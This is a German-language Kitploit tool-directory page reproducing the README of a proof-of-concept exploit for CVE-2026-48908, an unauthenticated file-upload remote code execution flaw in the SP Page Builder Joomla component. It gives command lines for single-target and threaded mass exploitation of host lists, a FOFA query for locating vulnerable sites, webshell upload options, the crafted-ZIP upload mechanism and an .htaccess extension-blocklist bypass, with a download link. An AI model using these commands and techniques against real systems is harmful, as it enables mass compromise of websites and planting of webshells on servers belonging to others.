Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-48908 — Nicht authentifizierter RCE-PoC für CVE-2026-48908: Exploit für beliebigen Datei-Upload und Remote-Codeausführung im SP Page Builder (Joomla) mit Unterstützung für Massen-Scans. | Kitploit
Tools/GitHubGitHub/ayiezola/cve-2026-48908
AufklärungSchwachstellenanalyseExploitationWebanwendungs-ExploitationInformationsbeschaffungPenetrationstestsPayload-Entwicklung
GitHubayiezola/cve-2026-48908

CVE-2026-48908

Nicht authentifizierter RCE-PoC für CVE-2026-48908: Exploit für beliebigen Datei-Upload und Remote-Codeausführung im SP Page Builder (Joomla) mit Unterstützung für Massen-Scans.

Repository anzeigen
17vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-48908 — SP Page Builder Nicht authentifizierter RCE

SP Page Builder (com_sppagebuilder) für Joomla ≤ 6.6.1 erlaubt nicht authentifizierten Angreifern, beliebige Dateien hochzuladen und Remote Code Execution zu erreichen.

FeldWert
CVECVE-2026-48908
CWECWE-284 (Fehlerhafte Zugriffskontrolle)
KomponenteSP Page Builder (com_sppagebuilder)
Betroffen1.0.0 – 6.6.1
Behoben in6.6.2
BerechtigungenKeine (vor Authentifizierung)
BenutzerinteraktionKeine

FOFA-Abfrage

body="com_sppagebuilder"

Verwendung

Voraussetzungen

  • Python 3.8+
pip install -r requirements.txt

Einzelner Host

python3 exploit_poc.py https://target.example -c "id"
python3 exploit_poc.py --url target.example -c "uname -a"
python3 exploit_poc.py https://target.example --check          # nur testen, kein Befehl
python3 exploit_poc.py https://target.example --token abc123   # benutzerdefinierter Token

Massenscan

python3 exploit_poc.py --hosts ips.txt -c "id"
python3 exploit_poc.py --hosts ips.txt -c "id" -j 20           # 20 parallele Threads
python3 exploit_poc.py --hosts ips.txt --no-verbose             # leiser Modus

Benutzerdefinierte Webshell

python3 exploit_poc.py https://target.example --shell-file shell.php
python3 exploit_poc.py --hosts ips.txt --shell-file shell.php

Hinweis: Bei Verwendung von --shell-file lädt das Skript nur die Webshell hoch und meldet die URL. Es führt nicht den -c-Befehl aus oder führt einen Ausführungstest durch. Die hochgeladene Shell muss die Befehlseingabe unabhängig verarbeiten.

Optionen

FlaggeBeschreibung
urlZiel-URL (positional oder --url)
--hosts <datei>Datei mit einem Host pro Zeile
-c, --cmd <befehl>Auszuführender Befehl (Standard: id)
--checkNur testen, keinen Befehl ausführen
--token <token>Geheimnis, das die hochgeladene Shell schützt (Standard: zufällig)
--shell-file <pfad>Eine benutzerdefinierte PHP-Webshell anstelle der integrierten hochladen
-j, --threads <n>Parallele Threads für Massenscan (Standard: 10)
--no-verboseAusführliche Ausgabe pro Host unterdrücken

Demo

Single host

Massenscan

Mass scan 1

Mass scan 2

Ausgabe

Nach einem Scan werden drei Ergebnisdateien gespeichert:

DateiInhalt
vulnerable_hosts.txtHosts mit bestätigtem RCE + Webshell-URLs
not_vulnerable_hosts.txtHosts, die gepatcht oder nicht vorhanden sind
partial_vulnerable_hosts.txtHosts mit Datei-Schreibzugriff, aber ohne PHP-Ausführung
custom_shell_hosts.txtHosts mit hochgeladener benutzerdefinierter Shell, gruppiert nach Basis-URL (nur generiert bei Verwendung von --shell-file)
scan_results.jsonVollständige JSON-Ergebnisse für alle Hosts

Funktionsweise

Der Exploit missbraucht die com_sppagebuilder-Aufgabe asset.uploadCustomIcon:

  1. POST einer manipulierten ZIP (Icon-Font-Paket) ohne Authentifizierung – kein CSRF-Token erforderlich.
  2. SPPB extrahiert die ZIP nach /media/com_sppagebuilder/assets/iconfont/<name>/fonts/.
  3. Die hochgeladene PHP-Datei ist öffentlich zugänglich.

Das Skript probiert mehrere PHP-Erweiterungen (.php, .PHP, .pHp, .Php, .pht, .phtml usw.), bis eine gefunden wird, die ausgeführt wird.

htaccess-Umgehung

Wenn direkte PHP-Erweiterungen durch den SPPB-Filter blockiert werden, legt das Skript eine .htaccess-Datei neben der Nutzlast ab:

AddType application/x-httpd-php .PHP

Dies zwingt den Webserver, .PHP (großgeschrieben) als PHP zu behandeln – und umgeht damit die case-sensitve Blockliste von SPPB. Erfordert aktiviertes AllowOverride und PHP-Ausführung im /media-Verzeichnis.

Hinweis: Die Umgehung mit .htaccess + großgeschriebenem .PHP funktioniert möglicherweise nicht auf allen Konfigurationen. Wenn dies fehlschlägt, versuchen Sie stattdessen .png- oder .jpeg-Erweiterungen. Auf Servern mit deaktiviertem AllowOverride oder blockierter PHP-Ausführung in /media werden selbst hochgeladene Shells nicht ausgeführt (als 'nur Schreibzugriff' gemeldet).

Änderungen

Dieser PoC basiert auf https://github.com/papageo75/CVE-2026-48908-PoC/ mit den folgenden Ergänzungen:

1. Behandlung von Nicht-JSON-Antworten

Einige Serverantworten können Nicht-JSON-Präfixe enthalten (z. B. Cron-Ausdrücke oder andere Abfälle) vor der eigentlichen JSON-Nutzlast. Der ursprüngliche PoC würde bei der Analyse solcher Antworten mit r.json() abstürzen. Diese Version sucht nach dem ersten {-Zeichen und versucht, den JSON-Teilstring zu dekodieren:

Vorher:

try:
    data = r.json()
except ValueError:
    return None

Nachher:

try:
    data = r.json()
except ValueError:
    raw = r.text
    idx = raw.find("{")
    if idx == -1:
        return None
    try:
        data, _ = json.JSONDecoder().raw_decode(raw[idx:])
    except ValueError:
        return None

Beispiel – gültige JSON-Antwort:

{
    "name": "icoctxojp",
    "data": {
        "id": 17,
        "type": "iconfont",
        "name": "icoctxojp",
        "title": "Icoctxojp",
        "assets": "["ico ico-x"]",
        "css_path": "media/com_sppagebuilder/assets/iconfont/icoctxojp/style.css",
        "created": "2026-06-24 07:26:18",
        "created_by": 0,
        "published": 1,
        "access": 1,
        "thumb": "https://[REDACTED]//components/com_sppagebuilder/assets/images/customIcons/default.jpg"
    },
    "status": true,
    "output": "Uploaded"
}

Beispiel – Nicht-JSON-Antwort (Präfix-Müll vor JSON):

cron:self,tpl:amara_pro,cfg:ok{
    "name": "icoxwetsw",
    "data": {
        "id": 163,
        "type": "iconfont",
        "name": "icoxwetsw",
        "title": "Icoxwetsw",
        "assets": "[\"ico ico-x\"]",
        "css_path": "media\/com_sppagebuilder\/assets\/iconfont\/icoxwetsw\/style.css",
        "created": "2026-06-24 03:42:57",
        "created_by": 0,
        "published": 1,
        "access": 1,
        "thumb": "https:\/\/[REDACTED]\/\/components\/com_sppagebuilder\/assets\/images\/customIcons\/default.jpg"
    },
    "status": true,
    "output": "Uploaded"
}

2. Massenscan-Unterstützung

Fügt mehrthreadige Massenscan-Fähigkeit hinzu:

  • --hosts <datei> — Ziele aus einer Datei laden (eines pro Zeile)
  • -j, --threads <n> — Parallele Thread-Anzahl festlegen (Standard: 10)
  • --no-verbose — Ausführliche Ausgabe pro Host unterdrücken
  • Ergebnisse gruppieren und in kategorisierte .txt-Dateien speichern

3. Benutzerdefinierter Webshell-Upload

Option --shell-file <pfad> hinzugefügt, um eine benutzerdefinierte PHP-Webshell anstelle der integrierten token-geschützten Shell hochzuladen. Bei Verwendung dieser Option:

  • Das Skript lädt die Shell hoch, ohne -c-Befehle auszuführen
  • Es wird kein Ausführungstest (run()) durchgeführt
  • Alle funktionierenden Erweiterungen werden getestet und gemeldet
  • Ergebnisse werden in custom_shell_hosts.txt gespeichert

Haftungsausschluss

NUR FÜR AUTORISIERTE NUTZUNG. Nur für zugelassene Penetrationstests, CTFs und Laborziele. Sie sind allein dafür verantwortlich, wie Sie dieses Tool einsetzen.

Tool herunterladen